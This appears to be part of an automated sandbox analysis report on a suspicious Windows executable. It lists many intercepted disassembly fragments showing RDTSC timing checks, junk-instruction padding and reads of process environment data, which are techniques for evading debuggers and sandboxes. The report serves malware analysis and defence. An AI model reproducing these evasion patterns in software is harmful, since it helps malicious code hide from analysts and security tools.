Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8DB62 second address: A8DB74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C050159Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8DB74 second address: A8DB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A92421 second address: A92426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A92426 second address: A92430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FF4C0C3E166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A92430 second address: A9245E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A1h 0x00000007 jg 00007FF4C0501596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF4C05015A1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A9245E second address: A92495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FF4C0C3E179h 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FF4C0C3E166h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8C21C second address: A8C22C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jnc 00007FF4C0501596h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8C22C second address: A8C248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF4C0C3E173h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8C248 second address: A8C24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8C24C second address: A8C250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8C250 second address: A8C256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8C256 second address: A8C260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FF4C0C3E166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8C260 second address: A8C291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF4C05015A9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF4C050159Eh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8C291 second address: A8C295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A9EF22 second address: A9EF27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A9EF27 second address: A9EF35 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A9EF35 second address: A9EF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A9EF3B second address: A9EF60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007FF4C0C3E16Ch 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A9EAC7 second address: A9EACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A9EC4D second address: A9EC51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA6B85 second address: AA6BA3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FF4C05015A2h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA6BA3 second address: AA6BBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA6BBB second address: AA6BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF4C0501596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA6BC5 second address: AA6BD9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF4C0C3E166h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA6BD9 second address: AA6BDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA5DB1 second address: AA5DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA631C second address: AA6322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA68B4 second address: AA68C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Dh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA8692 second address: AA8696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AA8696 second address: AA86A6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF4C0C3E166h 0x00000008 jp 00007FF4C0C3E166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AAB299 second address: AAB2CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FF4C050159Eh 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: AACF99 second address: AACF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB001A second address: 4DB0032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF4C05015A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB0032 second address: 4DB0036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB0036 second address: 4DB007C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF4C050159Eh 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 mov ecx, 3F8F6D6Dh 0x00000015 mov ch, 73h 0x00000017 popad 0x00000018 call dword ptr [74E5188Ch] 0x0000001e mov edi, edi 0x00000020 push ebp 0x00000021 mov ebp, esp 0x00000023 push ecx 0x00000024 mov ecx, dword ptr [7FFE0004h] 0x0000002a mov dword ptr [ebp-04h], ecx 0x0000002d cmp ecx, 01000000h 0x00000033 jc 00007FF4C0533075h 0x00000039 mov eax, 7FFE0320h 0x0000003e mov eax, dword ptr [eax] 0x00000040 mul ecx 0x00000042 shrd eax, edx, 00000018h 0x00000046 mov esp, ebp 0x00000048 pop ebp 0x00000049 ret 0x0000004a pushad 0x0000004b mov bh, B0h 0x0000004d mov dx, cx 0x00000050 popad 0x00000051 pop ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FF4C05015A5h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB007C second address: 4DB0082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB0082 second address: 4DB0086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60056 second address: 4D6005A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6005A second address: 4D6005E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6005E second address: 4D60064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60064 second address: 4D6006A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6006A second address: 4D6006E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6006E second address: 4D60090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF4C05015A7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60090 second address: 4D600A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, D4h 0x00000005 mov ecx, 3AA58067h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D600A5 second address: 4D600A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D600A9 second address: 4D600AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D600AD second address: 4D600B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D600B3 second address: 4D600C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF4C0C3E16Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D600C4 second address: 4D600C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D600C8 second address: 4D6010E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000030h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF4C0C3E173h 0x00000015 jmp 00007FF4C0C3E173h 0x0000001a popfd 0x0000001b mov edi, esi 0x0000001d popad 0x0000001e sub esp, 18h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movsx edx, cx 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6010E second address: 4D60186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C050159Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b call 00007FF4C05015A4h 0x00000010 mov bx, cx 0x00000013 pop ecx 0x00000014 jmp 00007FF4C05015A7h 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007FF4C05015A9h 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 movzx eax, dx 0x00000025 mov ch, dl 0x00000027 popad 0x00000028 mov ebx, dword ptr [eax+10h] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FF4C050159Ah 0x00000034 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60186 second address: 4D6018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60319 second address: 4D6034A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF4C05015A5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6034A second address: 4D60367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov dx, si 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D604F6 second address: 4D604FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D604FC second address: 4D60500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60500 second address: 4D60531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+0Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edi, ecx 0x00000010 pushfd 0x00000011 jmp 00007FF4C050159Eh 0x00000016 sbb ax, B838h 0x0000001b jmp 00007FF4C050159Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60531 second address: 4D60537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60537 second address: 4D6053B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6053B second address: 4D60565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+4Ch] 0x0000000b jmp 00007FF4C0C3E177h 0x00000010 mov dword ptr [esi+10h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60565 second address: 4D6056C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, 62h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6056C second address: 4D605BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 push ecx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+50h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF4C0C3E16Ah 0x00000015 add ch, 00000028h 0x00000018 jmp 00007FF4C0C3E16Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FF4C0C3E176h 0x00000026 sub si, A688h 0x0000002b jmp 00007FF4C0C3E16Bh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D605BF second address: 4D60623 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF4C05015A8h 0x00000008 sub cx, 08E8h 0x0000000d jmp 00007FF4C050159Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov dword ptr [esi+14h], eax 0x00000019 jmp 00007FF4C05015A6h 0x0000001e mov eax, dword ptr [ebx+54h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FF4C05015A7h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60623 second address: 4D6063B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF4C0C3E174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6063B second address: 4D606E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C050159Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+18h], eax 0x0000000e pushad 0x0000000f mov al, bh 0x00000011 popad 0x00000012 mov eax, dword ptr [ebx+58h] 0x00000015 jmp 00007FF4C050159Ah 0x0000001a mov dword ptr [esi+1Ch], eax 0x0000001d pushad 0x0000001e mov esi, edx 0x00000020 popad 0x00000021 mov eax, dword ptr [ebx+5Ch] 0x00000024 pushad 0x00000025 jmp 00007FF4C05015A5h 0x0000002a push ecx 0x0000002b jmp 00007FF4C05015A7h 0x00000030 pop esi 0x00000031 popad 0x00000032 mov dword ptr [esi+20h], eax 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FF4C05015A5h 0x0000003c adc ch, FFFFFFE6h 0x0000003f jmp 00007FF4C05015A1h 0x00000044 popfd 0x00000045 popad 0x00000046 mov eax, dword ptr [ebx+60h] 0x00000049 pushad 0x0000004a push ebx 0x0000004b mov ax, 0DA5h 0x0000004f pop ecx 0x00000050 movsx ebx, cx 0x00000053 popad 0x00000054 mov dword ptr [esi+24h], eax 0x00000057 pushad 0x00000058 movsx ebx, cx 0x0000005b popad 0x0000005c mov eax, dword ptr [ebx+64h] 0x0000005f pushad 0x00000060 movzx ecx, dx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D606E9 second address: 4D6072F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esi+28h], eax 0x0000000d jmp 00007FF4C0C3E170h 0x00000012 mov eax, dword ptr [ebx+68h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF4C0C3E177h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6072F second address: 4D60735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60735 second address: 4D60739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60739 second address: 4D6081E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+2Ch], eax 0x0000000b jmp 00007FF4C05015A7h 0x00000010 mov ax, word ptr [ebx+6Ch] 0x00000014 jmp 00007FF4C05015A6h 0x00000019 mov word ptr [esi+30h], ax 0x0000001d jmp 00007FF4C05015A0h 0x00000022 mov ax, word ptr [ebx+00000088h] 0x00000029 jmp 00007FF4C05015A0h 0x0000002e mov word ptr [esi+32h], ax 0x00000032 pushad 0x00000033 mov eax, 5F10F32Dh 0x00000038 mov ecx, 18369529h 0x0000003d popad 0x0000003e mov eax, dword ptr [ebx+0000008Ch] 0x00000044 jmp 00007FF4C05015A4h 0x00000049 mov dword ptr [esi+34h], eax 0x0000004c jmp 00007FF4C05015A0h 0x00000051 mov eax, dword ptr [ebx+18h] 0x00000054 pushad 0x00000055 jmp 00007FF4C050159Eh 0x0000005a pushfd 0x0000005b jmp 00007FF4C05015A2h 0x00000060 or ah, FFFFFF88h 0x00000063 jmp 00007FF4C050159Bh 0x00000068 popfd 0x00000069 popad 0x0000006a mov dword ptr [esi+38h], eax 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 mov ax, bx 0x00000073 push edx 0x00000074 pop esi 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6081E second address: 4D608BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+1Ch] 0x0000000c jmp 00007FF4C0C3E170h 0x00000011 mov dword ptr [esi+3Ch], eax 0x00000014 pushad 0x00000015 jmp 00007FF4C0C3E16Eh 0x0000001a pushfd 0x0000001b jmp 00007FF4C0C3E172h 0x00000020 add esi, 61BD83A8h 0x00000026 jmp 00007FF4C0C3E16Bh 0x0000002b popfd 0x0000002c popad 0x0000002d mov eax, dword ptr [ebx+20h] 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FF4C0C3E174h 0x00000037 sub ax, F608h 0x0000003c jmp 00007FF4C0C3E16Bh 0x00000041 popfd 0x00000042 mov bx, si 0x00000045 popad 0x00000046 mov dword ptr [esi+40h], eax 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D608BB second address: 4D608CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C050159Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D608CD second address: 4D609A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+00000080h] 0x0000000f jmp 00007FF4C0C3E16Eh 0x00000014 push 00000001h 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FF4C0C3E16Eh 0x0000001d adc ax, 95F8h 0x00000022 jmp 00007FF4C0C3E16Bh 0x00000027 popfd 0x00000028 jmp 00007FF4C0C3E178h 0x0000002d popad 0x0000002e nop 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FF4C0C3E16Eh 0x00000036 or esi, 17C49F88h 0x0000003c jmp 00007FF4C0C3E16Bh 0x00000041 popfd 0x00000042 pushad 0x00000043 mov cx, F815h 0x00000047 mov esi, 78190091h 0x0000004c popad 0x0000004d popad 0x0000004e push eax 0x0000004f pushad 0x00000050 push edx 0x00000051 pushfd 0x00000052 jmp 00007FF4C0C3E178h 0x00000057 add eax, 6EF23518h 0x0000005d jmp 00007FF4C0C3E16Bh 0x00000062 popfd 0x00000063 pop ecx 0x00000064 mov ax, di 0x00000067 popad 0x00000068 nop 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FF4C0C3E16Eh 0x00000070 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60A46 second address: 4D60A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60A4C second address: 4D60A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
